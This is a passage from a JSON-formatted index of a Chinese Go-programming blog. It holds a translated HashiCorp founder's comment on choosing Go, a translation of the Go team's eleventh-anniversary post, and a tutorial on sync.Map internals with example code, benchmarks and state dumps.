get等对包权威路径的检查，避免包路径变更的前后不一致。\u003c/p\u003e","title":"没有VPS搭建govanityurls服务？别急！你依然可以自定义Go包导入路径"},{"content":"\n提到HashiCorp这个公司，可能很多人都没听说过。但提到vagrant、consul、nomad、terraform或者vault，那么你一定对这些工具或其中之一有所耳闻。这些工具都是HashiCorp这家公司的开源项目。\n今年年初，HashiCorp在中国IT圈着实“火”了一把！当时HashiCorp宣布旗下软件禁止在中国区销售，这让很多重度依赖欧美主导的开源软件的国内大厂、小厂、传统IT公司以及IT化做的比较好的大型国企“惊出一身冷汗”。但事后证实只是HashiCorp旗下的企业软件禁止在中国区销售，开源版本不受影响。并且企业版软件禁售的原因是因为其下产品Vault的加密方式不符合中国当地法律要求，为了遵循当地法律，所以禁止销售。\n好了，书归正传！除了早期开源项目是使用python、ruby等动态语言开发的，HashiCorp公司的后期主流产品均基于Go语言开发。在近期Hacker News的一则“Go语言已有十多年的历史了，你怎么看？”的帖子里，HashiCorp公司的联合创始人Mitchell Hashimoto分享了HashiCorp公司选择Go的考虑以及Go语言给公司带来的益处，并称**“Go是HashiCorp成功且无悔的选择”**。\n下面就是Mitchell Hashimoto印证其观点的阐述：\n凭据：我大约在9年前开始使用Go，从那时起，我已经建立了一个拥有1000多名员工的公司，拥有约250名全职Go开发工程师。我们维护着数十个全部用Go编写的开源项目和库（Terraform，Vault等）。我们交付的商业产品已经被很多财富500强公司所使用。例如，Vault每年为我们知道的一家公司提供数万亿secret的服务。\n提到Go，我能输出很多页的内容，但在这里我将尝试聚焦于其中的一部分。无论如何，Go都不是完美的语言或社区，但我喜欢它。\n注意：人们在阅读反馈时通常会带有“但X语言也可以…”或某些类似的说法，我不希望出现这种情况。除非我专门使用示例，否则我的反馈意见不针对任何其他语言。另一种语言可能会为您解决所有这些相同的问题！我只是在分享Go对于我们在这些方面的出色表现。\n对初学者和新员工的友善 Go是一种非常简单的语言。从公司成立到现在，我们可以雇用从未使用过Go的人员，告诉他们几个学习Go的资源（例如Tour of Go），他们就可以在一周内向生产级项目提交代码了，不可思议！\n使用Go你很难做出任何不明显的事情。这样做的代价通常是冗长或重复。但是我认为这带来的好处是值得的。我知道很多人不同意这一点，但是我个人更喜欢重复“if err！= nil”一千次，而不是引入需要重新学习的新错误控制流程。\n我喜欢告诉新人（初级或非初级）：从上至下读源文件，这就是程序执行的路线。在大多数情况下，这总是对的。\n作为围绕Go建立快速成长的团队/公司的人，这是必不可少的。\n灵活(flexible) 理论上，任何“通用语言”都可以编写任何软件。但是，我敢肯定，我们都会同意：使用某些语言编写某些软件更加容易，这是一件好事。\n但是，我对Go的灵活程度感到震惊，而又不会感到被强迫。我们已经使用Go编写了桌面CLI，Web API，分布式系统，安全软件，网络软件，基础设施软件，记帐软件(accounting)，机器人(bot)等。\n而且，其中大多数软件每年的下载量达到数百万，并且已成功投入生产。\n作为先前有着Ruby背景的我，很高兴已经实现的这些。但在做这些事情时也需要进行重大权衡。使用Go实现这些是可能的，但是您必须真正了解要进行的权衡。在Go中，当然要进行一些折衷，但是这些折衷是最小的，所以Go才起作用。\n作为个人贡献者和公司管理者，这种灵活性在组建公司方面非常出色。\n跨平台编译和静态链接的二进制文件 自9年前我采用Go的第一天起，Go就鼓励并简化了静态二进制编译和简单的跨平台编译。今天，您基本上只需要根据目标平台设置一下环境变量，然后运行go build，它通常就可以正常工作。\n您仍然必须了解各类平台的各种陷阱（API可用性，文件路径，子进程/信号行为等），但仅就编译方面来说，Go让事情变得如此容易。\n我以前在大规模软件开发方面的经验是在Ruby中使用Vagrant，而使其能跨平台工作是一个持续不断的巨大挑战。我需花几个月的时间让安装程序帮助跨平台设置正确的运行时环境。\n从ARM系统和其他非标准体系结构（甚至是企业级Power …）的日益普及的角度来看，Go的这一特性非常重要。\n文化 通常，Go社区的文化在哲学上与我对软件的看法非常一致。我将其粗略地描述为务实的和审慎的。\n我认为这种文化正是为什么许多人不喜欢Go（或似乎“讨厌” Go的原因，我认为这是对用于编程计算机的语言的一种疯狂的情感反应，但我离题了）。\nGo社区不会“赶时髦”，不会抛开谨慎和务实而去紧急实现某种“最新技术”。有人认为，从某种定义上来说这是Go的劣势，但我认为这是一个巨大的好处。在我看来，Go核心团队这种三思后而行的行为方式与我十分契合（我不是核心团队的成员，因此这纯粹是一种看法）。我喜欢这种文化。\n乐趣 归根结底，这门语言对我来说很有趣。我喜欢用它编写程序。这也很重要。\n结论 我很幸运，Go在我建立公司的行业中脱颖而出。当我们开始使用它时，肯定不是那样（它是1.0之前的版本，Docker之前的版本，K8S之前的版本，多数基础设施软件仍在使用Ruby）。\n我觉得该语言非常高效（例如，我们在大约6周内就实现了Vault 0.1版本），它已经证明了它可以适应大规模的需求，并且运行稳定（在美国主要的一个证券交易市场中，Vault处于每笔交易的热门路径上，并且服务从未停过），我们已经能够围绕它建立一个大公司和活跃的开源社区。\n把我们成功无悔的选择传递下去吧！\n我的Go技术专栏：“改善Go语⾔编程质量的50个有效实践”上线了，欢迎大家订阅学习！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily(Go每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/11/13/go-is-a-successful-and-zero-regret-choice-for-us-by-hashicorp-founder/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-11th-years-old-2.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e提到\u003ca href=\"https://www.hashicorp.com/\"\u003eHashiCorp\u003c/a\u003e这个公司，可能很多人都没听说过。但提到vagrant、\u003ca href=\"https://tonybai.com/2018/09/10/setup-service-discovery-and-load-balance-based-on-consul\"\u003econsul\u003c/a\u003e、\u003ca href=\"https://tonybai.com/2019/03/30/cluster-management-and-microservice-deployment-and-scheduled-by-nomad/\"\u003enomad\u003c/a\u003e、terraform或者vault，那么你一定对这些工具或其中之一有所耳闻。这些工具都是HashiCorp这家公司的开源项目。\u003c/p\u003e\n\u003cp\u003e今年年初，HashiCorp在中国IT圈着实“火”了一把！当时HashiCorp宣布旗下软件禁止在中国区销售，这让很多重度依赖欧美主导的开源软件的国内大厂、小厂、传统IT公司以及IT化做的比较好的大型国企“惊出一身冷汗”。但事后证实只是HashiCorp旗下的企业软件禁止在中国区销售，开源版本不受影响。并且企业版软件禁售的原因是因为其下产品Vault的加密方式不符合中国当地法律要求，为了遵循当地法律，所以禁止销售。\u003c/p\u003e","title":"HashiCorp联合创始人：Go是成功且无悔的选择"},{"content":"\n本文翻译自Go官方博客文章《Eleven Years of Go》，原作者：Russ Cox。\n今天，我们一起庆祝Go语言正式开业发布11周年。去年的“Go turning 10”周年庆典聚会似乎已成为久远的回忆。这是艰难的一年，但我们一直保持了Go开发的步伐，并积累了很多亮点。\n在去年11月，我们在庆祝Go 10周年后不久就发布和上线了go.dev和pkg.go.dev站点。\n今年2月，Go 1.14版本提供了第一个正式的“生产就绪”的go module实现，并进行了许多性能改进，包括更快的defer和真正抢占式的goroutine调度，以减少调度和垃圾收集延迟。\n在今年三月初，我们推出了新版protobuf API：google.golang.org/protobuf，大幅改善了对protobuf reflection和自定义消息的支持。\n当新冠疫情大流行发生时，我们决定在春季暂停所有公开发布或活动，因为大家都知道所有人的注意力都聚焦在其他地方。但是我们一直在努力，我们的团队中的一个成员加入了Apple/Google发起的“privacy-preserving exposure notifications”项目，以支持全球范围内的联系人追踪工作。5月，该小组启动了用Go编写的 reference backend server。\n我们继续改进gopls，这让许多编辑器受益并都启用了高级Go-aware支持。六月份，VSCode Go扩展正式加入Go项目，现在由从事gopls的同一位开发人员维护。\n同样在6月，由于Go社区的反馈意见，我们还将pkg.go.dev背后的代码开源，并将其作为Go项目的一部分。\n6月下旬，我们 发布了有关Go generics的最新设计草案，以及原型工具和一个支持go generics实验语法的playground。\n7月，我们发布并讨论了三个新的有关Go未来演化的设计草案：go:build、文件系统接口和构建时文件嵌入。（我们将在2021年看到所有新特性）\n8月，Go 1.15版本发布！该版本以优化和bug修复为主，没有提供太多新功能。其最重要的部分是开始重写链接器，这使它在进行大型项目构建时，平均运行速度提高了20％，平均使用的内存减少了30％。\n上个月，我们发起了年度Go用户调查。分析结果后，我们会将结果发布到博客上。\nGo社区已经与其他所有人一起适应了“虚拟优先”的原则，今年我们看到了许多虚拟聚会和十多个虚拟Go会议。上周，Go团队在Google Open Source Live中举办了“Go Day”活动。\n前进 我们也对Go语言在其第12年即将发生的事情感到非常兴奋。近期，Go团队成员将参加GopherCon 2020并做以下展示和分享。请打开您的日历，做好提醒标记！\n11月11日上午10:00，Robert Griesemer的演讲“Typing [Generic] Go”；在10:30 AM进行Q\u0026amp;A。 11月11日中午12:00，现场播放Go时间播客的实况录像：“What to Expect When You’re NOT Expecting”，该集播客由包括Hana Kim组成的专家调试小组主持。 Michael Knyszek在11月11日下午1:00发表演讲“Evolving the Go Memory Manager’s RAM and CPU Efficiency” ；在下午1:50进行Q\u0026amp;A。 Dan Scales在11月11日下午5:10发表演讲“Implementing Faster Defers”； 在下午5:40进行Q\u0026amp;A。 11月12日下午3点，与朱莉·邱（Julie Qiu），丽贝卡·史翠宝（Rebecca Stambler），拉斯·考克斯（Russ Cox），萨默·阿杰曼尼（Sameer Ajmani）和范·里珀（Van Riper）一起的现场问答环节“ Go Team-Ask Me Anything” 。 奥斯汀·克莱门茨（Austin Clements）在11月12日下午4:45发表演讲“Pardon the Interruption: Loop Preemption in Go 1.14” ； 在下午5:15进行Q\u0026amp;A。 乔纳森·阿姆斯特丹（Jonathan Amsterdam）在11月13日下午1:00发表的演讲：“Working with Errors” ； 在下午1:50进行Q\u0026amp;A。 卡门·安多（Carmen Andoh）11月13日下午5:55发表的演讲“Crossing the Chasm for Go: Two Million Users and Growing” 。 Go发布计划 2021年2月，Go 1.16版本将发布，该版本将包括新的文件系统接口和构建时文件嵌入。它将完成链接器的重写，从而带来更多的性能改进。它将包括对新的Apple Silicon（GOARCH=arm64）Mac的支持。\n2021年8月，Go 1.17版本无疑会带来更多功能和改进，尽管远远不够，确切的细节仍然悬而未决。它将包括一个针对x86-64新的基于寄存器的调用约定（不破坏现有程序集！），这将使程序整体更快。（对其他体系结构的支持将在以后的版本中发布。）新的**//go:build行肯定会包含一个不错的功能，肯定比当前// +build**更不容易出错。我们希望明年可以进行Beta测试的另一个备受期待的功能是对go test命令中的模糊测试(fuzz test)的支持。\n有关Go module 明年，我们将继续致力于开发对Go module的支持，并将其很好地集成到整个Go生态系统中。Go 1.16将包括我们迄今为止最流畅的Go module体验。我们最近的一项调查的初步结果是，现在有96％的用户已采用Go模块（高于一年前的90％）。\n我们还将最终终止对基于GOPATH的开发的支持：使用标准库以外的依赖项的任何程序都将需要一个go.mod。（如果您尚未切换到go module，请参阅GOPATH Wiki页面以获取有关从GOPATH到go module的最后一步的详细信息。）\n从一开始，Go module的目标就是“将软件包版本的概念添加到Go开发人员和我们的工具的常用词汇中”，从而为整个Go生态系统中的module和版本提供深度支持。整个生态系统对包版本的广泛理解使得go module镜像、chechsum数据库和module index成为可能。在明年，我们将看到更多module支持被添加到更多的工具和系统中。例如，我们计划研究新的工具，以帮助模块作者发布新版本（go release），并帮助module使用者摆脱过时的API并完成迁移（新的go fix）。\n一个更为有说服力的例子是，我们创建了gopls来减少编辑器为支持Go而依赖许多外部工具的情况：将依赖一堆不支持go module的工具转变为只依赖一个支持module的工具。明年，我们将准备让VSCode Go扩展默认使用gopls，以提供出色的、现成的module体验，并将发布gopls 1.0。当然，gopls最大的优势之一是它与编辑器无关：任何支持语言服务器协议的编辑器都可以使用它。\n版本信息的另一个重要用途是跟踪构建中的任何程序包是否具有已知漏洞。明年，我们计划开发一个已知漏洞的数据库以及基于该数据库进行漏洞检查的工具程序。\nGo软件包发现站点pkg.go.dev是Go module启用的版本感知系统的另一个示例。我们一直致力于正确实现核心功能和用户体验，包括今天重新设计后的pkg.go.dev的上线。明年，我们将godoc.org统一为pkg.go.dev。我们还将扩展展示每个软件包的版本时间线，显示每个版本的重要更改，已知漏洞等，以实现你进行依赖添加决策时所需的所有信息。\n我们很高兴看到从GOPATH到Go模块的旅程即将完成，以及Go模块正在启用的所有出色的依赖关系感知工具。\n有关Go generics 每个人心中的下一个功能特性当然是泛型。如上所述，我们于今年6月发布了有关泛型的最新设计草案。从那时起，我们一直在做细节上的完善，并将注意力转移到了实现可生产版本的细节上。我们将在2021年的整个过程中继续努力，以期在年底之前为人们提供一些试用的目标，也许它是Go 1.18 beta的一部分。\n感谢大家 Go不仅限于我们这些Google Go团队的成员。我们要感谢与我们一起开发Go项目和工具的贡献者。除此之外，Go之所以成功，是因为所有在Go蓬勃发展的生态系统中工作并为之贡献的人们。Go之外的世界度过了艰难的一年。非常感谢您抽出宝贵的时间加入我们，并帮助Go取得成功。谢谢。我们希望大家都安全，并祝您一切顺利。\n我的Go技术专栏：“改善Go语⾔编程质量的50个有效实践”上线了，欢迎大家订阅学习！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/11/11/go-opensource-11-years/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-11th-years-old.png\"\u003e\u003c/p\u003e\n\u003cp\u003e本文翻译自Go官方博客文章\u003ca href=\"https://blog.golang.org/11years\"\u003e《Eleven Years of Go》\u003c/a\u003e，原作者：\u003ca href=\"https://swtch.com/~rsc/\"\u003eRuss Cox\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e今天，我们一起庆祝Go语言正式开业发布11周年。去年的\u003ca href=\"https://tonybai.com/2019/11/09/go-opensource-10-years/\"\u003e“Go turning 10”\u003c/a\u003e周年庆典聚会似乎已成为久远的回忆。这是艰难的一年，但我们一直保持了Go开发的步伐，并积累了很多亮点。\u003c/p\u003e","title":"Go，11周年"},{"content":"\n注：本文首发于笔者的个人微信公众号”iamtonybai”，是公号付费文章(价格1元)。首发于2020.10.9日，经过一个月收费期，我觉得将其免费分享出来。如果你觉得文章质量不错，欢迎到首发地址付费支持：https://mp.weixin.qq.com/s/rsDC-6paC5zN4sepWd5LqQ\n近期在项目考虑在内存中保存从数据库加载的配置数据的方案，初步考虑采用map来保存。Go语言中有两个map，一个是Go语言原生的**map类型，而另外一种则是在Go 1.9版本新增到标准库中的sync.Map**。\n一. 原生map的“先天不足” 对于已经初始化了的原生**map**，我们可以尽情地对其进行并发读：\n// github.com/bigwhite/experiments/inside-syncmap/concurrent_builtin_map_read.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;math/rand\u0026quot; \u0026quot;sync\u0026quot; ) func main() { var wg sync.WaitGroup var m = make(map[int]int, 100) for i := 0; i \u0026lt; 100; i++ { m[i] = i } wg.Add(10) for i := 0; i \u0026lt; 10; i++ { // 并发读 go func(i int) { for j := 0; j \u0026lt; 100; j++ { n := rand.Intn(100) fmt.Printf(\u0026quot;goroutine[%d] read m[%d]: %d\\n\u0026quot;, i, n, m[n]) } wg.Done() }(i) } wg.Wait() } 但原生**map**一个最大的问题就是不支持多goroutine并发写。Go runtime内置对原生map并发写的检测，一旦检测到就会以panic的形式阻止程序继续运行，比如下面这个例子：\n// github.com/bigwhite/experiments/inside-syncmap/concurrent_builtin_map_write.go package main import ( \u0026quot;math/rand\u0026quot; \u0026quot;sync\u0026quot; ) func main() { var wg sync.WaitGroup var m = make(map[int]int, 100) for i := 0; i \u0026lt; 100; i++ { m[i] = i } wg.Add(10) for i := 0; i \u0026lt; 10; i++ { // 并发写 go func(i int) { for n := 0; n \u0026lt; 100; n++ { n := rand.Intn(100) m[n] = n } wg.Done() }(i) } wg.Wait() } 运行上面这个并发写的例子，我们很大可能会得到下面panic：\n$go run concurrent_builtin_map_write.go fatal error: concurrent map writes ... ... 原生map的“先天不足”让其无法直接胜任某些场合的要求，于是gopher们便寻求其他路径。一种路径无非是基于原生map包装出一个支持并发读写的自定义map类型，比如，最简单的方式就是用一把**互斥锁(sync.Mutex)同步各个goroutine对map内数据的访问；如果读多写少，还可以利用读写锁(sync.RWMutex)**来保护map内数据，减少锁竞争，提高并发读的性能。很多第三方map的实现原理也大体如此。\n另外一种路径就是使用sync.Map。\n二. sync.Map的原理简述 按照官方文档，sync.Map是goroutine-safe的，即多个goroutine同时对其读写都是ok的。和第一种路径的最大区别在于，sync.Map对特定场景做了性能优化，一种是读多写少的场景，另外一种多个goroutine读/写/修改的key集合没有交集。\n下面是两种技术路径的性能基准测试结果对比(macOS(4核8线程) go 1.14)：\n// 对应的源码在https://github.com/bigwhite/experiments/tree/master/go19-examples/benchmark-for-map下面 $go test -bench . goos: darwin goarch: amd64 pkg: github.com/bigwhite/experiments/go19-examples/benchmark-for-map BenchmarkBuiltinMapStoreParalell-8 7945152 179 ns/op BenchmarkSyncMapStoreParalell-8 3523468 387 ns/op BenchmarkBuiltinRwMapStoreParalell-8 7622342 190 ns/op BenchmarkBuiltinMapLookupParalell-8 7319148 163 ns/op BenchmarkBuiltinRwMapLookupParalell-8 21800383 55.2 ns/op BenchmarkSyncMapLookupParalell-8 70512406 18.5 ns/op BenchmarkBuiltinMapDeleteParalell-8 8773206 174 ns/op BenchmarkBuiltinRwMapDeleteParalell-8 5424912 214 ns/op BenchmarkSyncMapDeleteParalell-8 49899008 23.7 ns/op PASS ok github.com/bigwhite/experiments/go19-examples/benchmark-for-map 15.727s 我们看到：sync.Map在读和删除两项性能基准测试上的数据都大幅领先使用sync.Mutex或RWMutex包装的原生map，仅在写入一项上存在一倍的差距。sync.Map是如何实现如此高的读取性能的呢？简单说：空间换时间+读写分离+原子操作(快路径)。\nsync.Map底层使用了两个原生map，一个叫read，仅用于读；一个叫dirty，用于在特定情况下存储最新写入的key-value数据:\n图：sync.Map内置两个原生map\nread(这个map)好比整个sync.Map的一个**“高速缓存”，当goroutine从sync.Map中读取数据时，sync.Map会首先查看read这个缓存层是否有用户需要的数据(key是否命中)，如果有(命中)，则通过原子操作将数据读取并返回，这是sync.Map推荐的快路径(fast path)，也是为何上面基准测试结果中读操作性能极高**的原因。\n三. 通过实例深入理解sync.Map的原理 sync.Map源码(Go 1.14版本)不到400行，应该算是比较简单的了。但对于那些有着**“阅读源码恐惧症”**的gopher来说，我们可以通过另外一种研究方法：实例法，并结合些许源码来从“黑盒”角度理解sync.Map的工作原理。这种方法十分适合那些相对独立、可以从标准库中“单独”取出来的包，而sync.Map就是这样的包。\n首先，我们将sync.Map从标准库源码目录中拷贝一份，放入本地**/go/src/github.com/bigwhite/experiments/inside-syncmap/syncmap/sync下面，得益于go module的引入，我们在/go/src/github.com/bigwhite/experiments/inside-syncmap/syncmap目录下面建立go.mod**文件：\nmodule github.com/bigwhite/go go 1.14 这样我们就可以通过github.com/bigwhite/go/sync包路径导入module：github.com/bigwhite/go下面的sync包了。\n接下来，我们给位于**~/go/src/github.com/bigwhite/experiments/inside-syncmap/syncmap/sync下面的map.go中(sync.Map包的副本)添加一个Map类型的新方法Dump**：\n// github.com/bigwhite/experiments/tree/master/inside-syncmap/syncmap/sync/map.go func (m *Map) Dump() { fmt.Printf(\u0026quot;=====\u0026gt; sync.Map:\\n\u0026quot;) // dump read read, ok := m.read.Load().(readOnly) fmt.Printf(\u0026quot;\\t read(amended=%v):\\n\u0026quot;, read.amended) if ok { // dump readOnly's map for k, v := range read.m { fmt.Printf(\u0026quot;\\t\\t %#v:%#v\\n\u0026quot;, k, v) } } // dump dirty fmt.Printf(\u0026quot;\\t dirty:\\n\u0026quot;) for k, v := range m.dirty { fmt.Printf(\u0026quot;\\t\\t %#v:%#v\\n\u0026quot;, k, v) } // dump miss fmt.Printf(\u0026quot;\\t misses:%d\\n\u0026quot;, m.misses) // dump expunged fmt.Printf(\u0026quot;\\t expunged:%#v\\n\u0026quot;, expunged) fmt.Printf(\u0026quot;\u0026lt;===== sync.Map\\n\u0026quot;) } 这个方法将打印Map的内部状态以及read、dirty两个原生map中的所有key-value对，这样我们在初始状态、store key-value后、load key以及delete key后通过Dump方法输出sync.Map状态便可以看到不同操作后sync.Map内部的状态变化，从而间接了解sync.Map的工作原理。下面我们就分情况剖析sync.Map的行为特征。\n1. 初始状态 sync.Map是零值可用的，我们可以像下面这样定义一个sync.Map类型变量，并无需做显式初始化（关于零值可用，在我的Go专栏《改善Go语言编程质量的50个有效实践》中有专门的一节详述，有兴趣的gopher可以订阅学习^_^）。\n// github.com/bigwhite/experiments/tree/master/inside-syncmap/syncmap/main.go var m sync.Map 我们通过Dump输出初始状态下的sync.Map的内部状态：\n// github.com/bigwhite/experiments/tree/master/inside-syncmap/syncmap/main.go func main() { var m sync.Map fmt.Println(\u0026quot;sync.Map init status:\u0026quot;) m.Dump() ... ... } 运行后，输出如下：\nsync.Map init status: =====\u0026gt; sync.Map: read(amended=false): dirty: misses:0 expunged:(unsafe.Pointer)(0xc0001101e0) \u0026lt;===== sync.Map 在初始状态下，dirty和read两个内置map内都无数据。expunged是一个哨兵变量(也是一个包内的非导出变量)，它在sync.Map包初始化时就有了一个固定的值。该变量在后续用于元素删除场景(删除的key并不立即从map中删除，而是将其value置为expunged)以及load场景。如果哪个key值对应的value值与explunged一致，说明该key已经被map删除了（即便该key所占用的内存资源尚未释放）。\n// map.go var expunged = unsafe.Pointer(new(interface{})) 2. 写入数据(store) 下面，我们向Map写入一条数据：\n// github.com/bigwhite/experiments/tree/master/inside-syncmap/syncmap/main.go type val struct { s string } func main() { ... ... val1 := \u0026amp;val{\u0026quot;val1\u0026quot;} m.Store(\u0026quot;key1\u0026quot;, val1) fmt.Println(\u0026quot;\\nafter store key1:\u0026quot;) m.Dump() ... ... } 我们看一下存入新数据后，Map内部的状态：\nafter store key1: =====\u0026gt; sync.Map: read(amended=true): dirty: \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000108080)} misses:0 expunged:(unsafe.Pointer)(0xc000108040) \u0026lt;===== sync.Map 我们看到写入(key1,value1)后，Map中有两处变化，一处是dirty map，新写入的数据存储在dirty map中；第二处是read中的amended值由false变为了true，表示dirty map中存在某些read map还没有的key。\n3. dirty提升(promoted)为read 此时，如果我们调用一次sync.Map的Load方法，无论传给Load的key值是否为”key1″还是其他，sync.Map内部都会发生较大变化，我们来看一下：\n// github.com/bigwhite/experiments/tree/master/inside-syncmap/syncmap/main.go m.Load(\u0026quot;key2\u0026quot;) //这里我们尝试load key=\u0026quot;key2\u0026quot; fmt.Println(\u0026quot;\\nafter load key2:\u0026quot;) m.Dump() 下面是Load方法调用后Dump方法输出的内容：\nafter load key2: =====\u0026gt; sync.Map: read(amended=false): \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010240)} dirty: misses:0 expunged:(unsafe.Pointer)(0xc000010200) \u0026lt;===== sync.Map 我们看到：原dirty map中的数据被提升(promoted)到read map中了，提升后amended值重新变回false。\n结合sync.Map中Load方法的源码，我们得出如下sync.Map的工作原理：当Load方法在read map中没有命中（miss)传入的key时，该方法会再次尝试在dirty中继续匹配key；无论是否匹配到，Load方法都会在锁保护下调用missLocked方法增加misses的计数(+1)；如果增加完计数的misses值大于等于dirty map中的元素个数，则会将dirty中的元素整体提升到read：\n// $GOROOT/src/sync/map.go func (m *Map) missLocked() { m.misses++ //计数+1 if m.misses \u0026lt; len(m.dirty) { return } m.read.Store(readOnly{m: m.dirty}) // dirty提升到read m.dirty = nil // dirty置为nil m.misses = 0 // misses计数器清零 } 为了验证上述promoted的条件，我们再来做一组实验：\nval2 := \u0026amp;val{\u0026quot;val2\u0026quot;} m.Store(\u0026quot;key2\u0026quot;, val2) fmt.Println(\u0026quot;\\nafter store key2:\u0026quot;) m.Dump() val3 := \u0026amp;val{\u0026quot;val3\u0026quot;} m.Store(\u0026quot;key3\u0026quot;, val3) fmt.Println(\u0026quot;\\nafter store key3:\u0026quot;) m.Dump() m.Load(\u0026quot;key1\u0026quot;) fmt.Println(\u0026quot;\\nafter load key1:\u0026quot;) m.Dump() m.Load(\u0026quot;key2\u0026quot;) fmt.Println(\u0026quot;\\nafter load key2:\u0026quot;) m.Dump() m.Load(\u0026quot;key2\u0026quot;) fmt.Println(\u0026quot;\\nafter load key2 2nd:\u0026quot;) m.Dump() m.Load(\u0026quot;key2\u0026quot;) fmt.Println(\u0026quot;\\nafter load key2 3rd:\u0026quot;) m.Dump() 在完成一次promoted动作之后，我们又向sync.Map中写入两个key：key2和key3，并在后续Load一次key1并连续三次Load key2，下面是Dump方法的输出结果：\nafter store key2: =====\u0026gt; sync.Map: read(amended=true): \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010240)} dirty: \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010240)} \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010290)} misses:0 expunged:(unsafe.Pointer)(0xc000010200) \u0026lt;===== sync.Map after store key3: =====\u0026gt; sync.Map: read(amended=true): \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010240)} dirty: \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010240)} \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010290)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0000102c0)} misses:0 expunged:(unsafe.Pointer)(0xc000010200) \u0026lt;===== sync.Map after load key1: =====\u0026gt; sync.Map: read(amended=true): \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010240)} dirty: \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0000102c0)} \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010240)} \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010290)} misses:0 expunged:(unsafe.Pointer)(0xc000010200) \u0026lt;===== sync.Map after load key2: =====\u0026gt; sync.Map: read(amended=true): \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010240)} dirty: \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010240)} \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010290)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0000102c0)} misses:1 expunged:(unsafe.Pointer)(0xc000010200) \u0026lt;===== sync.Map after load key2 2nd: =====\u0026gt; sync.Map: read(amended=true): \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010240)} dirty: \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010240)} \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010290)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0000102c0)} misses:2 expunged:(unsafe.Pointer)(0xc000010200) \u0026lt;===== sync.Map after load key2 3rd: =====\u0026gt; sync.Map: read(amended=false): \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010240)} \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010290)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0000102c0)} dirty: misses:0 expunged:(unsafe.Pointer)(0xc000010200) \u0026lt;===== sync.Map 